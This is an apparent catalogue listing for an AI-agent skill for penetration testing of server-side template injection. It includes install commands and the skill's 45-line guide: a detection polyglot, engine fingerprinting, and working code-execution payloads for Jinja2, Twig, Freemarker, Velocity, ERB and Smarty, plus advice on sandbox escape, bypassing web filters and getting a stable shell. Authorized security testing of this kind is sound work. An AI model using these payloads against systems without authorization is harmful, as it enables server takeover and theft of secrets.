web-ssti

A security-testing guide for server-side template injection, a flaw where user input is treated as template instructions on the server. Templates are files used to generate pages, emails, reports, or documents.

In plain words
What is it for?
Use it to assess greetings, profiles, error pages, email or PDF generators, and other features that render user-controlled content.
Why use it?
It helps distinguish harmless reflected text from input that is actually evaluated and could affect the server.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/s0ld13rr/pentestcode/ssti
Any agent
npx skills add s0ld13rr/pentestcode --skill ssti
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Per session 71 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 769 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00071 $0.00769
Opus 5 $0.00036 $0.00385
Sonnet 5 $0.00014 $0.00154
Haiku 4.5 $0.00007 $0.00077

Measured 2d ago against content hash d7ad4c5aef1d, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

web-ssti scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/web/ssti/SKILL.md · 45 lines

How it starts

The opening of the file, as written. The whole thing — 45 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Server-Side Template Injection (SSTI)

When this fires

Reflected input where a math/template payload EVALUATES server-side (not just echoes). Common sinks: name/greeting fields, email/PDF/report/invoice generators, custom error pages, admin templates.

Detect

Send the polyglot; if any arithmetic evaluates, it's SSTI (reflected ≠ executed — the value must be COMPUTED):

${7*7}  {{7*7}}  <%= 7*7 %>  #{7*7}  ${{7*7}}  @(7*7)

49/7777777 back = hit. Then fingerprint the engine to pick the RCE path.

Decide — fingerprint the engine

  • {{7*7}}=49 but {{7*'7'}}7777777 = Jinja2/Twig (Python/PHP); TemplateError = Jinja2.
  • ${7*7}=49 = Freemarker/Velocity (Java) or JSP EL.
  • #{7*7} = Ruby ERB / Thymeleaf / JSF.
  • <%= 7*7 %> = ERB (Ruby) / EJS (Node).
  • ${{7*7}} errors but {{7*7}} ok = Handlebars/Node.

Exploit → PROVE IMPACT (engine-specific RCE)

Jinja2:   {{cycler.__init__.__globals__.os.popen('id').read()}}
          {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig:     {{['id']|filter('system')}}  /  {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)...("id")
ERB:      <%= `id` %>  /  <%= system('id') %>
Smarty:   {system('id')}  /  {php}system('id');{/php}

Proof required: id/uname -a output (RCE), or read a secret file. Then convert to a stable shell / record_artifact.

Tooling

tplmap -u '<url>?p=*' (auto-detect+exploit) if available; else manual per above. nuclei -tags ssti.

False positives / pitfalls

  • Client-side echo (value reflected but NOT computed) = XSS, not SSTI.
  • Sandboxed engine (Twig sandbox, Jinja2 SandboxedEnvironment) → try the sandbox-escape gadgets from PayloadsAllTheThings before concluding dead.
  • WAF stripping {{ }} → try ${}, #{}, whitespace/comment obfuscation.

Read the full file on GitHub · 45 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 45 lines · 71 tokens per session scan A d7ad4c5aef1d

Subscribe to this mod's changes

web-ssti is a skill published in the GitHub repository s0ld13rr/pentestcode (594 stars, last pushed 12d ago), licensed MIT. It adds 71 tokens to every session and 769 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.